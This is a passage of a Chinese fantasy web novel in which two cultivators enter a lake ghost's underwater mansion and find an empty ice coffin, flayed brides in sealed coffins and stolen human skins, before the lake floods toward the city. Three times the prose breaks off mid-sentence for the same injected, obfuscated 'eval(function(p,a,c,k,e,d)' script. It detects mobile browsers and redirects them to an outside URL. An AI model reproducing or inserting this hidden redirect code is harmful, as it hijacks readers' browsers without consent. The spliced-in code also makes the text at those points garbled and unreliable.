公仪岭噌地一下站起,可这乌篷船实在狭小,他仅仅稍微直了直腰板,头顶就已经撞到了乌篷船的船顶。 半起不起中,湖面没了方才的风平浪静,一个大浪朝着乌篷船拍来,撞得小船顿时东倒西歪,还是齐元白眼疾手快把他搀扶住,这才没让公仪岭直接摔在船底的黑水中。 齐元白自己也情况不好,在这些水浪的威逼下,乌篷船简直就像是纸糊的一样,没过几分钟,那湖水就已经漫过了船的软椅,齐元白一只手死死扳住那船篷的边缘,这才勉强控制住自己的平衡。 沉船便沉船,搞这么大的风浪是要做什么?! 即便有齐元白搀扶他,公仪岭重新起身的时候还是滑了一跤,险些吃了一嘴湖水,连鼻子里也无可避免地进了水,那带着腥气的恶心气味顿时充斥了整个鼻腔,呛得他连连咳嗽。 齐元白满脸震惊,他在多方打听的时候,也没听说过乌篷船开到湖心的时候,会有这么大的风浪,抹开了糊脸的水后,不由朝船头那掌灯女鬼吼道:“你家主人是疯了吗?无风就起浪?” 这掌灯女鬼看上去也是惊惶,似是没遇到过这样的情况,却又因为自己本就是水鬼,所以这大浪之中,她还是能勉强控制住自己的身体。 她恶狠狠地扭头,本想骂回去,却忽然大脑过电,想起了什么,转而尖声道:“——你,你是男的?!” 糟了! 突然遇到这样的事情,齐元白一时也没拿住自己的嗓音,也有可能是湖水洗去了他脸上的一点妆容,总而言之,齐元白这是明晃晃地暴露了。 公仪岭见情况不好,哪还顾得上那半掉不掉的红盖头,直接将这碍眼的东西一把扯掉,闪身来到了掌灯女鬼身后,一个手刀将她打晕了过去。 这下,没了掌灯女鬼控制船身,又是一道水浪狂涌而来,乌篷船也彻底失去了平衡。 “公仪兄!找东西抓紧了,这船开始原地打转了!!!” 公仪岭尚在船头,这时候也没人能抓住他了,只能双手牢牢扣住船舷,半个身子都覆入水中,哪还能张嘴回应上齐元白一句。 谁知,这乌篷船刚在湖面转上两圈,转着转着,竟然已经陷入了湖心的巨大漩涡,眼看着就要把整个乌篷船给吸进去了! 莫非,这就是进入水鬼府中的入口? 公仪岭脑子冒出这个想法,稍微思量一下,顿觉极有可能。 反正两个人总归是要下去的,乌篷船掀翻了沉下去也是下去,被漩涡吸下去也是下去,公仪岭毫不犹豫地选择了后者。 他立即道:“我们走!” “走?走去哪?公仪兄你说清楚——”船内传来齐元白模模糊糊的声音,听起来,他的状况并不好。 公仪岭这才意识到,齐元白这会儿还在船内,看不清楚外面是个什么情况,正被乌篷船刚刚转上的几圈弄得整个人头脑发晕呢! 他大喝道:“顺着漩涡下去!” 话音刚落,乌篷船也彻底失去了重心,被水流搅得四分八裂,完全吸入了漩涡中心。 179.湖底见阴宅 谁置玄冰棺(一) 在这千钧一发之际,公仪岭也终于从乌篷内扣住了齐元白的手,硬生生将他拽出了即将碎裂的小船,在船舷处用力一蹬,融入了水流之中。 随后,两人被这漩涡中的水流卷着,来回打了十几个滚,跟湖中那些乱七八糟的木头水草一起吸入了漩涡内。 若是普通的水便也罢了,偏偏这瀛湖的水就像是有生命一样,宛如道道水刃疯狂地切割着被吸入漩涡的每一样东西。公仪岭和齐元白周身的护体仙障自行展开,这才免受了千刀万剐之苦。 保命当头,两人哪里还顾得上这仙障出来以后,会不会让那水鬼意识到哪里不对。也幸亏公仪岭动作够快,在那一瞬间拽住了齐元白的胳膊,这才没让两人在一片乱流中失散。公仪岭死死咬着下唇,奋力在水中控制着身形,被水流推搡着朝水底极速前进。 也不知道两个人在水中行进了多久,眼前终于出现了一大片幽光, 相比起湖面的波涛汹涌,这湖底简直可以用安宁寂静来形容。 稍走近些,公仪岭也看清楚了,刚才瞧见的那一大片幽光,是面前这一座水府门口的排排鬼火灯笼。 齐元白走到他身旁,望着眼前这座阴气森森、处处透露着诡异的建筑,沉声道:“想必,这就是那瀛湖水神的住处了,居然……真的有这个地方。” 公仪岭紧紧盯着这扇大门,忽然道:“齐兄,你看这门,是不是朝北开的?” 齐元白在人间摆摊之时,也时常接点给人看房屋风水的活儿,对家宅这方面的造诣颇深,稍微看了两眼,就道:“不错,这一整座水府,都是坐南朝北建起的,我所知的,也就只有专门放尸体、给鬼魂住的阴宅才会这样。” 这也没什么奇怪的,要是他们猜得没错的话,这玩意本身就是鬼魂傀儡之类的东西,要是住在个阳宅里才奇怪。 只可惜那掌灯女鬼现在也不知去哪里了,没人能给他们引个路。 见公仪岭犹豫,齐元白却毫不迟疑过去推门了:“没人带路也好,省得还得装模作样,我现在可没心思陪它们演戏。方才那掌灯女鬼也说了,他们家主人这会儿不在府中,真是天赐良机。” 公仪岭听完,也觉得齐元白说的有理。趁他还没回来,先把这水府翻个底朝天再说,没准真能在此处找到御魔幡。 门打开后,公仪岭本以为里面的气味也会和瀛湖湖水一样难闻刺鼻,却没想到推门便闻到了一阵异香扑鼻,说是女子闺房中带有的淡淡芳香也不为过。 齐元白也是讶异,但也只是微微皱眉,没说什么。 两个人在前院走了许久也没抵达正堂,这才发现,这水府竟是一座巨大的宅子,模样和尧都城大户人家的家宅差不多,就连里面的摆设,也都是按普通百姓的习惯来摆放,唯一的区别是,里面所有家具和摆件,全都价值不菲,公仪岭甚至还在里面看见了一副名画的真迹。 公仪岭哑然道:“……这瀛湖水鬼,竟然这么富有?” 齐元白指尖触碰过那大堂摆着的瓷器花瓶,道:“的确,这种颜色的瓷,民间的能工巧匠恐怕得烧上几千个才能烧出来这么一个吧。” 又是四下转悠了一圈,细细看过了大堂内的所有东西。公仪岭企图找出一样普通的,未果。 不过,这样看完,两人也赫然发现,大堂之内的所有摆设,也都放在了完全相反的位置,这是一座彻彻底底的阴宅。 如果这阴宅是完全沉没在水中的,公仪岭也不会像现在觉得奇怪了。 然而,稍稍抬头细看,就知这座阴宅被完全笼罩在结界之内,隔绝了瀛湖所有湖水,宛如另一方天地。 公仪岭飞速扫视了一番周围,又侧耳细细听了一会儿,目光所及之处,没有疑似的机关,也没有女子的叫喊声。 “……既然这边有空气能够正常呼吸,那十七位姑娘也许还活着?”公仪岭猜测道。 齐元白面上凝重不减,甚至脸色看起来比一开始还要难看:“难说,这偌大的住处死气沉沉,没一点声音,要是她们还活着的话,多少也该有点说话声才对。” 公仪岭心中虽然不愿往最坏的地方去想,可还是免不了担心起来。 他一咬牙,道:“我们不能继续在这里浪费时间了,先把整个宅子搜一遍再说,十七条人命,活要见人,死也要见尸!” 齐元白道:“既是娶亲,那我们应该先从后院内宅开始搜起,或许这些姑娘们,都被安置在他的寝房内。” 公仪岭一听有道理,当即道:“走!” 齐元白混迹民间这么久,对各种宅子的构造摸得门清儿,抬手指了个方向,轻声道:“走这边。” 跟着齐元白弯弯绕绕地走了许久,就算是公仪岭也看出来这边的布局有多么奇怪了,毕竟,不会有正常宅子设下这么多曲折的路,也不会有院子的台阶只修了一截便拦腰折断。 这样的宅子,分明没打算给活人留下一段能走的路。 也亏得他们两个人不是常人,这才能一路如履平地贴地狂奔,视阴宅中各种各样的咒术和布局为无物。 不过,这阴宅虽大,但内院寝房却好找。 公仪岭和齐元白没有花多少时间,便精准地从一堆相同的黄花梨大门中寻到了那间最大的厢房。 “想必,这就是它的寝房了吧。”公仪岭凝望着眼前的雕花木门,见上面镌刻着不少奇怪的狐尾纹样,隐隐觉得有些眼熟,却又一时间没想到在哪里见过,不由多看了两眼。 顺着他的视线,齐元白很快也注意到了门上的纹样。 只不过,他只略微停顿了一瞬,便想起了在哪里见过这个东西。 “公仪兄,这是……这是那宣安城醉春风里面的纹样!我记得清清楚楚,那儿进门处有个屏风,上面的纹样和这个分明一模一样!” 齐元白如此一提,公仪岭也瞬间想起了这么一回事,再细细回忆一番后,也完全能肯定下来。 这就是醉春风那边的纹样! 或许还不止是这一点,方才他在鬼花轿内,还觉得轿内软榻上的绸缎手感熟悉,现在再细思后,可不正是那日醉春风那位月娘的衣服料子? 公仪岭去宣安城调查两次,知道醉春风在宣安城中开了几年。上次地契之事已经引人生疑,只是还没查出醉春风真正的老板是谁,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507037|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来,怕是这瀛湖水鬼和那位老板是同一个人。 公仪岭目光冷厉,蓦然抬脚,竟是直接踹开了眼前的大门! 然而,雕花大门两开,整个寝房映入眼帘,公仪岭和齐元白扫了一眼寝房全貌,皆是一惊。 齐元白说话的声音都不利索了:“这、这是——?” 只见这偌大的寝房正中间,竟然四四方方摆了一张贡桌,贡桌上的各种金盘子内放着些新鲜的水果,两边插了两根已经燃了一半的白蜡,烛光点亮贡桌前,映照出一副玄冰棺。 这一年来,恐怕也没人比公仪岭更清楚这个东西了。 他下意识朝后退了一步,托起掌心火焰,死死盯着眼前这棺材:“这是仙家的玄冰棺,不会有错。” “既然是仙家的东西,怎么会在这里?难道,这里面葬的也是仙门中人?” 公仪岭心中惶恐,以为是那瀛湖水鬼偷偷潜入了仙陵中盗走冰棺,当即右掌翻出,想要强行推开玄冰棺的棺材盖。 可谁知,在这样强劲的力量下,这玄冰棺却依旧纹丝不动。 齐元白忽然注意到了什么,出声道:“公仪兄,等等,你看这是什么?” 他说着,手上凌空飞出一道符箓,在贴上玄冰棺的那一瞬间,这冰棺周围竟然缓缓显出了数十条交错连结的红线,每一条红线上都悬挂了十几张形式各异、符纹不同的符纸和数不清的黄铜铃铛。公仪岭的掌风掠过,带得一众符纸铃铛在空中狂舞,响声连连。 这铃声杂乱,公仪岭担心暴露,赶忙又是施法强行让他们静止下来。等一切回归宁静,他也认出来了:“这符……是招魂用的吧?” 齐元白肯定道:“不错,有这符阵为阻,也难怪这玄冰棺打不开了。” 既然是符箓方面的阵法,自然是让齐元白出手更为妥当,公仪岭道:“毁了这符阵,想必就能打开了,你来试试?” 齐元白点头:“我来吧。” 公仪岭虽在这方面不如齐元□□通,却也从这些东西错落有致的排布中意识到这不是个简单的符阵,原以为齐元白会颇费一番工夫才能解决,却没想到齐元白仅用了不过一分钟的时间,就解决了这复杂的符阵。 望着眼前这些东西缓缓消散,公仪岭忍不住道:“齐兄,几个月不见,你的修为看上去增进了不少啊。” 齐元白却垂眸看了眼自己手掌上的符箓残片,手上轻轻用力便将其捏成了粉末。 他道:“不全是这个原因。” “怎么?” “我刚刚施法之时,察觉到这些符箓恐怕已经被人刻意破坏过,解开它们并不如看上去那样麻烦,大概是他们破坏完后,稍加修补了一下,以做掩饰。” 一听有人来过,公仪岭心中警铃大作,立刻追问:“难道,已经有人抢先我们一步,拿走了这冰棺里的东西?” 至于冰棺里有什么东西,公仪岭第一反应便是御魔幡,要是他们这样还晚来一步的话,那就当真失策了。 齐元白没有说话,只是一掌移开了玄冰棺的棺盖。这棺盖十分沉重,只听“轰”地一声,便已经滑开大半,露出了里面的全貌。 180.湖底见阴宅 谁置玄冰棺(二) 然而,面前的这副玄冰棺内却是空无一物。 “怎么会——” 公仪岭心中一紧,几乎就要以为是御魔幡被人提前拿走,一个箭步越过地上的那些符纸,伏到了冰棺旁边细细去看。 可不管他托着火焰怎么看,那冰棺内依然什么也没有。 齐元白看着贡桌上的摆设,沉声道:“公仪兄,我看御魔幡应该不在这玄冰棺内。” 公仪岭一愣,稍稍直起身望向贡桌,道:“齐兄,你是觉得这贡桌的摆设看着像祭奠亡者,才这样觉得的吗?” 齐元白点了点头:“不仅如此,这上面用来当贡品的水果全都是新鲜的,想必是日日都会更替的。若是用来藏御魔幡,大可不必如此大费周章。” 公仪岭站起,随手摘下盘子上的一颗葡萄放入嘴中轻轻咬下,连着葡萄皮一起吞了下去。 他一尝就知这的确是新鲜的葡萄,说是刚从葡萄藤上刚摘下来就放到这贡桌上也不为过。 公仪岭低声道:“这冰棺放在最好的厢房,又贡了最好的东西,这里布置如此用心,我想,这棺中之人应该对他们主人来说,是个重要的人。” 齐元白未置可否。那十七个姑娘们都还生死不知,他没时间去细细推断这冰棺里葬着的是什么人。在看见冰棺是空置的之后,他就转而开始在寝房内四下搜寻起来。 光是这一个寝房便足有姚家庄内院的大小,虽然里面摆设众多,但也依然显得空落落的。齐元白一圈走下来,见这床榻与妆台皆是金丝楠木所制,墙上字画、架上古玩也都千金难求,桌上的青白釉花瓶内斜插着一支梨花,散发着淡淡的清香。 能够肯定的是,这是一间女子的闺房。 公仪岭意识到这一点后,诧异道:“莫非这瀛湖水鬼,竟然是个女子?” 齐元白没有接话,而是停在那妆匣的前面,盯着上面放着的一大堆口脂香膏之类的姑娘家的东西,片刻后,伸手取了其中一个精致的鎏金珐琅彩嵌小盒。 良久,齐元白才喃喃说了一句:“这盒香膏,我曾给阿鸢买过。” 公仪岭扫了一眼齐元白手上的盒子,只觉得这盒子看起来精巧奢华,与其他香膏的盒子也十分相似。 “你给清鸢买过那么多香膏,竟然还记得它们的样式?” 齐元白摩挲着香膏盒子上的彩绘,道:“要是旁的盒子,恐怕我就当真不记得了,但唯独这个,我是有印象的。” “怎么?” “你还记得去年我们参加仙考大会,去三化正殿聆听教诲前,阿鸢和燕婉姑娘当时正聊天的事情吗?”齐元白放下手中的香膏,对公仪岭道,“当时,阿鸢她们俩就是在聊关于这香膏的事情,她与我说,这是民间新出的款式,我便特意下山买来给阿鸢当作生辰礼物。她拿到后开心地不行,只可惜还没用上几回,就……” 说到此处,齐元白也是叹了口气。 “总之,阿鸢走后,这个香料盒子就当作她的遗物处理了……” 公仪岭将那香膏盖子揭开,却是光洁如新的模样。他低声道:“你刚刚说,清鸢她没用过几次,那也是用过的吧?可这梳妆台上的香膏,却分明是没用过的样子,这应该不是清鸢的那一盒。既然这香膏当时如此受欢迎,或许是这闺房主人也买了这个也不一定。” 齐元白顿了顿,默默道:“嗯,你说的很对。” 仅凭这一盒香膏也没办法肯定这间房到底是谁的,两人不再耽误时间,继续寻找娶亲女子的下落。很快,齐元白和公仪岭翻遍了闺房内所有柜子,却发现里面除了数不清的女子衣物、金银首饰以外,再无旁的东西,而这里面的每一样东西,都是崭新的,连一丝尘埃都不曾沾染。 两人看着这些衣物和首饰越看越奇,但也没有对此有什么讨论。一番搜寻下来一无所获,公仪岭只能带着齐元白暂且离开,绕到其他房间内去找。 出了门后,他们径直走入离这间闺房最近的一间寝房。 公仪岭刚迈步过了门槛,托着掌心焰火抬眼朝里面打量了一眼,立即发现这宽敞的寝房内只摆放了很多副普通的黑木棺材,至于其他什么寝房该有的摆设通通不存在,就连最基本的床榻都没有,简直能用家徒四壁来形容。 这些棺材上无一例外,全部都系上了红色的缎带,在棺材盖上贴上了大红囍字,公仪岭呼吸一凝,很快反应过来这些棺材内大概就是那十七位姑娘的尸体。 “来晚了……” 虽然一路上两个人也做过心理准备,觉得这些姑娘们沉入湖底后大概已经香消玉殒了。但在发现湖底别有洞天后,他们又重新燃起希望。这样的结果,对他们来说无异于冷水浇头。 齐元白轻轻叹了口气,抬步想靠近这些棺材,刚往前走了没两步,腿上就撞到了一根细细的红绳,带动着铃铛响了起来。 不出意外地,这些黑木棺材周围也全都设下了红线符阵。大约是这符阵被人触动,一下子现了形,上面所设下的封禁说是比公仪岭从前设下的强出两倍也不为过,足可见设阵的人有多担心关不住黑木棺材里面的东西。 不过,公仪岭当初封的乃是凡人的棺材,这些人怨气不足,化不成厉鬼,他自是没必要用更为厉害的封禁术法封棺。至于面前的这些隐隐透出黑气的棺材,用这样的办法压制也是情理之中了。 既然没办法一下子靠近,齐元白便先清点了一下数量,想看看能不能和他们知道的信息对上。 “一共十八副黑木棺材。”齐元白数了两遍,肯定道,“每一副黑木棺材上都用钉子钉死了,这棺材里面应该也都贴上了封禁符纸,” “可是,怎么会是十八副?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511605|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公仪岭在听到这个数字后,原以为是齐元白数错了,还自己一个个数了一次,谁知他数完后才知,房中清清楚楚摆着的就是十八副棺材。 齐元白思忖道:“城中百姓在贡桌上说,这一个月瀛湖水神娶走了十七位姑娘,可没说上个月到底失踪了几位姑娘,也许,这多出来的一副,正是上个月失踪的某位姑娘?” “要想知道这十八副棺材里面都是哪些人,就必须得开棺了。” 公仪岭望着棺材上的冒出的淡淡黑气,犹豫不定。 他们要开棺的话,势必得破坏掉这上面的封禁符阵,可这符阵一旦破除,里面的东西就会没了束缚跑出来害人,设下结界的人也一定会察觉异动赶来,他们要想再暗中搜寻御魔幡,就难了。 事关重大,公仪岭不能一个人草率地决定,转向齐元白道:“齐兄,你看这些棺材,我们到底开不开?” 齐元白没想那么多,只当他在问自己能不能开,点头道:“想解开这符阵不是难事,有我们两个人在,怕什么!开就是了。” “那等下布阵之人察觉符阵有异,我们可就没法继续暗中潜伏,寻找御魔幡了。” 闻言,齐元白头也不抬说道:“你觉得我们刚才一路动静很小吗?”说完,忽而好像反应过来什么,摸了摸鼻子,思忖道:“……再说了,方才在那间闺房内,符阵也已经被破掉一次,里面东西都被带走了,没准瀛湖水鬼这会儿正跟他们纠缠,没时间看顾我们这边,只要我们速度快些,总能赶在他回来前搞定。” 公仪岭一听觉得有理,也点了头:“行,那就这么办!” 两人一拍即合,只花了一刻钟不到的时间就破除了棺材周围的符阵。 一瞬间铃铛狂震,那些红线也应声而断,所有符箓失去了依附,在空中乱飞,落地即无。 为了防止一开棺材,里面的东西就飞出来惹事,齐元白飞快地施法设下了一个结界屏障,如此一来,这些东西再怎么样也跑不出寝房。 察觉到符阵消失后,棺材里面的魂魄全部都闹了起来,一声声凄厉惨叫响彻房内,叫得竟然比那些铃铛还要吵闹。 更有甚者还想直接尝试冲破齐元白设置的结界,果不其然被弹了回来,差点被灵力灼烧。 齐元白费时费力在旁边替他困住这些黑气魂魄,公仪岭不敢怠慢,一剑劈开十八副棺材板后,顺手点燃了这间寝房内的烛灯。 灯光一起,很快照亮了眼前的棺材。 从右往左数十七个棺材内,绑着的全都是头顶红盖头、身穿喜服的女子,看样子,她们还没有入过洞房的时候就已经被害死了。 这十七个姑娘的身份没什么疑问,两个人便去看最后那一副棺材。 然而,在看清楚那里面的全貌时,公仪岭浑身汗毛倒竖,感觉自己头皮都炸开了半边。 181.湖底见阴宅 谁置玄冰棺(三) 只见那棺材里竟是密密麻麻、层层叠叠堆积了不少空壳皮囊,大概是因为此地阴气甚重,又常年不见日光,这才没让这些皮囊变成风干后的死皮,一个个浑身像是在水中浸泡过一般,还在棺材里渗出尸液,公仪岭一打开棺盖后,那皮囊散发出来的腐烂气息顿时直冲天灵盖,呛得他几乎喘不过气来。 公仪岭不得不忍着恶心,伸手进入半棺材的液体中缓缓翻看这些皮囊,才看了没几张,就已经能够确定,这棺材里的皮囊正是宣安城中曾经被他封禁,却又被人所盗走的那些皮囊。 齐元白去过宣安城调查此事,这会儿也认出来这些人皮从何而来,震惊道:“这些东西……竟然是在这里?!” 这也难怪这些东西会这样怨气深重了,好不容易魂魄安息,能够葬在宣安城内,却不料又再度被人挖出,换作是谁也会有怨气的。至于旁边那十七个姑娘,说是给人当成替死鬼也不为过,自是不必多说。 “……果然,当初阿岭他完全是被人算计了,恐怕是他前脚刚将人皮下葬,后脚这人就将人皮盗走,嫁祸于他。如此看来,那无妄宗灭门也跟此人脱不了干系。” 公仪岭默默道:“这是自然。” 齐元白凝视着那副满满当当的人皮棺材,叹了口气,伸手将棺材盖给合上了。 “等到事情解决后,我们再将他们带回宣安城里吧,留在此地,也不是个办法。” 公仪岭道:“也好。那这些新娘,也都带回城内吧。” 齐元白道:“嗯,不过这些姑娘们都盖着盖头,现在也辩认不出来谁是谁,不知道她们都是哪家的姑娘……” 他这样一说,公仪岭这才意识到不对劲起来。 要是杀了人后,特意将这些女子葬在这里,入殓的时候又何必用红盖头将姑娘们的面容给遮掩起来,岂不多此一举? 他想起齐元白看过这十七位女子的画像,立刻问道:“齐兄,你可还记得这些女子们的样貌?若是揭了红盖头后,能够一一对上的话,就能找到她们的家人了。” 齐元白原本还担心自己不方便揭开她们的盖头,想全都带出去以后一家家挨个问过去。听公仪岭说完,稍稍犹豫后,还是应下了。 依照着棺材的顺序,齐元白绕到了第一副黑木棺材旁边。 那黑木棺材的棺盖早已移至一旁,露出里面女子的上半身。光看她这身量与衣物,也依稀能够看出来这是个极为瘦弱的女子。 齐元白没有着急去揭开她的盖头,而是神情凝重地盯了她许久,突然来了一句:“奇怪。” 公仪岭以为他发现了什么,连忙过来:“怎么奇怪?” 齐元白侧了侧身子给他让出一个位置站好,随后指了指女子的上半身,低声道:“空气中明明有这么浓的血腥味,可这姑娘的衣服都是完好无损的,看上去也没什么致命伤口,甚至身上也没有为法力所伤的痕迹,那她究竟是怎么死的?” 公仪岭扫了一眼尸身,的确如齐元白所说那样,顿时皱起了眉头。 他比划了一下脖子,猜道:“红盖头刚好遮住她的脖子,也许她是被人割喉,或是被人活活勒死?再不济,也还有溺水而死这个可能性。” 齐元白摇头道:“那位掌灯女鬼肯定有办法把她们完好无损的带进来,溺水……不太可能。”说完便伸手扯下了那块蒙脸的红布。 而在看见红布下的真容后,两个人简直毛骨悚然。公仪岭张着嘴,下意识朝后连退数步,齐元白则是身子一僵,手上抓着的那块鲜血淋漓的红布也顺势滑落在地,渗出一大滩血迹。 这棺中女子哪里还有什么真容?那张脸早已血肉模糊,根本看不出是谁家姑娘,分明是直接被人活活剥下脸皮而死的。 公仪岭瞠目结舌:“这……这……!” “怎么会这样?” 齐元白震惊之余,第一时间抓住了女尸的袖口,露出她那半截手臂。 能看得出来,这女子指节修长,若是还活着的话,定然也是肤若凝脂、手如柔荑的佳人,只可惜,现如今露出的那半截手臂也都早已没了表层的皮肤,只剩下血已流干的身躯。 现在,他们也算是知道了,为什么这姑娘会看起来比寻常女子还要瘦弱。 齐元白沉声道:“看来,恐怕这姑娘全身的皮肤都被人剥去了。” “这位姑娘是这样,那另外十六位姑娘……” 公仪岭陡然产生了这样不好的念头,快步走到后面的十六副棺材旁一一检查过去。结果也如他所想的那样,这些姑娘们先后死去的时间不同,腐化程度也就不同,唯一的共同点便是,全都被人剥去了身上的皮肤,一块好地都没留下。 再结合那第十八副棺材,结果似乎昭然若揭。 齐元白突然道:“我明白了。” 公仪岭望向他的侧脸,哑声道:“你先说说,你明白了什么?我看看我们是不是想到一块去了。” 齐元白肃然道:“依我看,这人借着瀛湖水神娶亲的传说带走这么多姑娘,目的就是为了拿到她们的人皮。而他之前盗走宣安城这么多的皮囊,大概也是出于这个目的,只是不知道,他要这么多人皮,到底是为了什么……” “不错,我也是这样觉得。” 公仪岭说完,想起人皮傀儡一事,又凝声道:“齐兄,你可还记得阿岭在宣安城遇到人皮傀儡的事情,我看他盗走御魔幡,又想办法收集人皮,莫不是想要再度做出人皮傀儡,卷土重来?” 这一次,齐元白却没那么快附和了。 他皱着眉头思索了一会儿,轻轻摇了摇头:“我看不像。” “怎么?” “如果他想依靠御魔幡的力量做出更厉害的傀儡,又何必费劲心思选大户人家的小姐,做水神娶亲这一出事情?这些姑娘们体质一般,也不通武艺,唯一的共同点便是一个个都肤白貌美。那人便是用了她们的人皮,又能做出多厉害的傀儡?” “嗯……那倒也是。”公仪岭不得不承认这一点。 齐元白道:“所以,他想要这些姑娘的人皮,肯定另有他用。” 公仪岭蓦然觉得这整件事情已经快能够串起来了,却又一时间没想明白其中的关窍,只好默默点头。 齐元白替她们合上了棺材:“不管怎么说,现在人是找到了,我们也不算白来一趟,等出去以后,就送她们回家吧。” 公仪岭正想建议顺便把姑娘们的人皮也都找回来,这样至少不会让她们死的面目全非。然而话还没说出口,却突然听到外面风声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14523973|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大起,呼啸而来的狂风一瞬间掀开了他们这件屋子的大门,连带着齐元白随手设在门口的那结界也碎了个干净。 他下意识抬起手臂想要挡住大风,可在这样的狂风下,依旧吹得完全睁不开眼睛。与此同时,两人也听到了外面传来的惊天浪声。 公仪岭很想问上一句“发生了什么?”,然而事实却是,在这样的大风下,他们两个人还能维持身形都已经十分不易,哪里还能说出点完整的句子。由此可见,这大风的始作俑者,恐怕修为并不在他们两人之下。 这样的真切的认知让公仪岭感到微微不安起来,偏头去看齐元白,见他也是一脸凝重的样子,不由越发担心。 可两个人这样终究不是办法。 公仪岭打定主意,汇聚力气,对齐元白喊道:“齐兄,先出去!” 这风是从整个瀛湖上面刮下来的,既然是同一个人干的,那阴宅上面的结界自然没办法阻挡,眼下唯一的法子,也就只有他重新在阴宅上方设个结界出来,暂且抵挡住这阵狂风了。 齐元白回道:“好!” 两个人闪电般冲出屋内。公仪岭几乎抬手就要用彻云剑施法了,结果抬头却见上方结界外暗流狂涌,大浪冲天,如同末日降临一般。 公仪岭和齐元白施法的动作不约而同地停下了。 “是湖水倒灌——”齐元白惊声道,“看着水流的方向,恐怕是朝着尧都城内去的!” 公仪岭心中一紧:“湖外不是也被设了结界吗?” “公仪兄!你忘了,那结界也是他设下的!要不要解开结界,那还不是挥挥手的事情?” 公仪岭这才想起来这回事,再抬头细看上面浪潮的方向,果然是往尧都城方向去的。 齐元白却已经呆立原地,喃喃道:“这阵仗……他、他这是把整个瀛湖都翻了个遍!” 虽然公仪岭没见过从前正卿与水鬼打架的时候是如何湖水倒灌城池的,但光看自己头顶这样壮观的场景,似乎也只能用齐元白的这句话来形容了。 公仪岭道:“难道他是发现我们了,所以在找我们?可再怎么样也该在阴宅里找,而不是在湖里面找啊……” 齐元白一颗心却已经全然不在此地了,完全没听公仪岭说了什么:“公仪兄,我们先回岸上去吧,再怎么样也不能让他害了尧都城的百姓啊!只要把这人拿下,还怕寻不到御魔幡的下落吗?” 不过,齐元白说得好像是在征求公仪岭的意见,实际上却根本没给他答话的机会,在说完最后一个字眼,便毫不犹豫地拽了公仪岭的手腕,想要带着他冲破上层的结界。 公仪岭突然被人拽住,哪怕那人是齐元白,他也本能地想把手挣开,可没想到齐元白竟是用了这样大的力气,说是直接把他给拖上去也不为过。 他有些诧异,但还是顺了齐元白的意思,召出彻云剑,托举着两人直冲结界而去。 阴宅上方的结界绝不算弱,可齐元白却像是早有预料一样,在彻云剑即将撞上结界的那一瞬间符箓已成,掌心朝外翻出。 只听“轰隆”一声巨响,那上方结界发出一道耀眼的金光,随后竟然宛如地裂一般破开,与此同时,原先被结界阻隔的冰凉湖水倾泻而下,灌入了两人的口鼻之中。 182.身在此山中 怎知真面目(一) 亏得公仪岭早已做好了准备,在彻云剑靠近结界的时候就已经屏住呼吸,这才没呛水。 也全靠两人身上的仙障庇护,即便他和齐元白在湖水中浮浮沉沉这么久,身上也没有沾上一滴水。 须臾后,彻云剑托举着两人冲破湖面,稳稳落在岸边。 “到了没?我们出来了没?” 整个过程中齐元白都紧紧闭着双眼不敢往下看,等到感觉不到疾行过程中耳边呼啸的风声后,才勉强问了一句。 公仪岭见他嘴唇发白,就知他恐高的毛病还是一如往昔,只得在起身的时候扶了他一把:“齐兄,起来吧,我们已经从水下出来了。” 齐元白颤颤巍巍从地上起来,猛然吐出一口气,睁开眼朝周围看了一圈:“……怎么样,外面的结界可还在吗?” 公仪岭落地第一时间便确认了这件事,叹息道:“在的,但是……情况看起来不太妙啊。” 齐元白四下瞧了一圈,也很快发现,瀛湖旁边的结界还是好好地立着,只是那些被法力操控的水流一次次拍打着那岸边的结界,已经隐隐有被击碎的趋势。 齐元白的表情刹那间变得严肃起来:“公仪兄,你看那结界,还能支撑多久?” 公仪岭举目远眺,整个瀛湖宛如烧开的沸水一样灵力翻涌,掀起的大浪一浪更比一浪高,他仅仅只是粗略估计,就知岸边的结界最多也只能支撑一刻钟。 “不好。”公仪岭的视线在湖面和结界之间来回移动,判断道,“保守估计,结界还能支撑一刻钟。” 可这岸边也时不时有浪潮卷来,要不是有仙障护体,他们俩现在肯定就变成落汤鸡了。看这架势,这些湖水简直是想把他们两个人再次卷入湖中。公仪岭和齐元白自己都尚且在湖岸边自顾不暇,如何能够在一刻钟内带走这么多尧都城的百姓? 齐元白眉目焦虑,一边狼狈地控制着身形躲避着浪潮,一边喊道:“那现在怎么办?我都看过了,这结界根本就不是仙家的结界,我们肯定不能加固它,没准刚动用灵力,反倒还会先把它击碎了!” 